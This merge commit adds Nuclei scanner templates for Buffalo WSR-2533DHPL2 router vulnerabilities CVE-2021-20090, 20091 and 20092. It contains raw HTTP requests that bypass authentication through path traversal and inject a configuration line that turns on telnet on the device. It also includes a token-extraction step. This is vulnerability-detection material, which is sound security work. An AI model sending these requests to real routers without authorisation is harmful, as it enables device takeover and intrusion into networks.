Merge pull request #2372 from projectdiscovery/buffalo

Added CVE-2021-20090 / CVE-2021-20091 / CVE-2021-20092
2021-08-12 16:07:45 +05:30 · 2021-08-12 16:07:45 +05:30 · 5ca0a70f3e
parent 781998fce8 98a07bd594
commit 5ca0a70f3e
4 changed files with 169 additions and 0 deletions
--- a/cves/2021/CVE-2021-20090.yaml
+++ b/cves/2021/CVE-2021-20090.yaml
@ -0,0 +1,33 @@
+id: CVE-2021-20090
+
+info:
+  name: Buffalo WSR-2533DHPL2 - Path Traversal
+  author: gy741
+  severity: critical
+  description: |
+    A path traversal vulnerability in the web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 could allow unauthenticated remote attackers to bypass authentication.
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2021-20090
+      - https://www.tenable.com/security/research/tra-2021-13
+      - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
+  tags: cve,cve2021,lfi,buffalo,firmware,iot
+
+requests:
+  - raw:
+      - |
+        GET /images/..%2finfo.html HTTP/1.1
+        Host: {{Hostname}}
+        Referer: {{BaseURL}}/info.html
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - 'URLToken(cgi_path)'
+          - 'pppoe'
+          - 'wan'
+        condition: and
--- a/cves/2021/CVE-2021-20091.yaml
+++ b/cves/2021/CVE-2021-20091.yaml
@ -0,0 +1,47 @@
+id: CVE-2021-20091
+
+info:
+  name: Buffalo WSR-2533DHPL2 - Configuration File Injection
+  author: gy741,pdteam,parth
+  severity: critical
+  description: |
+    The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly sanitize user input. An authenticated remote attacker could leverage this vulnerability to alter device configuration, potentially gaining remote code execution.
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2021-20091
+      - https://www.tenable.com/security/research/tra-2021-13
+      - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
+  tags: cve,cve2021,buffalo,firmware,iot
+
+requests:
+  - raw:
+      - |
+        GET /images/..%2finfo.html HTTP/1.1
+        Host: {{Hostname}}
+        Referer: {{{{BaseURL}}}}/info.html
+
+      - |
+        POST /images/..%2fapply_abstract.cgi HTTP/1.1
+        Host: {{Hostname}}
+        Referer: {{BaseURL}}/info.html
+        Content-Type: application/x-www-form-urlencoded
+
+        action=start_ping&httoken={{trimprefix(base64_decode(httoken), base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"))}}&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=127.0.0.1%0AARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "/Success.htm"
+
+      - type: status
+        status:
+          - 302
+
+    extractors:
+      - type: regex
+        name: httoken
+        internal: true
+        group: 1
+        regex:
+          - 'base64\,(.*?)" border='
--- a/cves/2021/CVE-2021-20092.yaml
+++ b/cves/2021/CVE-2021-20092.yaml
@ -0,0 +1,55 @@
+id: CVE-2021-20092
+
+info:
+  name: Buffalo WSR-2533DHPL2 - Improper Access Control
+  author: gy741,pdteam,parth
+  severity: critical
+  description: |
+    The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly restrict access to sensitive information from an unauthorized actor.
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2021-20091
+      - https://www.tenable.com/security/research/tra-2021-13
+      - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
+  tags: cve,cve2021,buffalo,firmware,iot
+
+requests:
+  - raw:
+      - |
+        GET /images/..%2finfo.html HTTP/1.1
+        Host: {{Hostname}}
+        Referer: {{{{BaseURL}}}}/info.html
+
+      - |
+        GET /images/..%2fcgi/cgi_i_filter.js?_tn={{trimprefix(base64_decode(httoken), base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"))}} HTTP/1.1
+        Host: {{Hostname}}
+        Cookie: lang=8; url=ping.html; mobile=false;
+        Referer: {{BaseURL}}/info.html
+        Accept-Encoding: gzip, deflate
+        Accept-Language: en-US,en;q=0.9
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 178
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "application/x-javascript"
+      - type: word
+        words:
+          - "/*DEMO*/"
+          - "addCfg("
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        name: httoken
+        internal: true
+        group: 1
+        regex:
+          - 'base64\,(.*?)" border='
--- a/vulnerabilities/other/buffalo-config-injection.yaml
+++ b/vulnerabilities/other/buffalo-config-injection.yaml
@ -0,0 +1,34 @@
+id: buffalo-config-injection
+
+info:
+  name: Buffalo WSR-2533DHPL2 - Configuration File Injection
+  author: gy741
+  severity: critical
+  description: |
+    The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly sanitize user input. An authenticated remote attacker could leverage this vulnerability to alter device configuration, potentially gaining remote code execution.
+  reference: |
+      - https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild
+      - https://www.tenable.com/security/research/tra-2021-13
+      - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
+  tags: buffalo,firmware,iot
+
+requests:
+  - raw:
+      - |
+        POST /images/..%2fapply_abstract.cgi HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+
+        action=start_ping&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=127.0.0.1%0A
+        ARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "/Success.htm"
+
+      - type: status
+        status:
+          - 302